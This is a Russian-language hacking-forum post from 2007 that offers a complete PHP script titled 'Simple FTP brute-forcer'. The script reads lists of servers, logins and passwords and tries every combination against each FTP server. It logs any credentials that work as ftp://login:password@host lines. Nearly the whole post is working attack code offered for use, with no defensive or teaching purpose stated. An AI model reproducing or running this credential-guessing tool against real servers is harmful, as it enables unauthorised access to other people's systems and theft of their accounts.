Показать сообщение отдельно

  #11  
Старый 30.04.2007, 10:51
mamamot
Познающий
Регистрация: 20.02.2007
Сообщений: 41
С нами: 10116066

Репутация: 48
По умолчанию

Простой брутофорсер FTP

PHP код:
<?php
    
//первое-определяем файлы с которыми работаем:
    //Список серверов:
    
$fservers = "servers.txt";
    
//Список логинов:
    
$flogins = "logins.txt";
    
//Список паролей:
    
$fpasswords = "passwords.txt";
    
//Лог-файл:
    
$flog = "ftpbrut.log";
    
//Открываем файлы:
    
$servers = file($fservers);
    
    
$logins = file($flogins);

    
$passwords = file($fpasswords);
    
    
$fd = fopen($flog, "w");
    
//Цикл перебирает сервера
    
foreach($servers as $server)
    {
        
$connect = ftp_connect($server);
        echo 
$server."<br />";
        if(
$connect)
        {
            foreach(
$logins as $login)
            {
                foreach(
$passwords as $password)
                {
                    
$result = ftp_login($connect, $login, $password);
                    if(
$result)
                    {
                        
$str = "ftp://".$login.":".$password."@".substr($server,6);
                        
$log .= $str."\r\n";
                        echo 
$str."<br />";
                        break;
                    }
                }
                if(
$result)
                {
                    break;
                }
            }
            
ftp_quit($connect);
        }
    }
    
fwrite($fd, $log);
    
fwrite($fd, "done succesful");
    echo 
"done succesful";
?>
 
Ответить с цитированием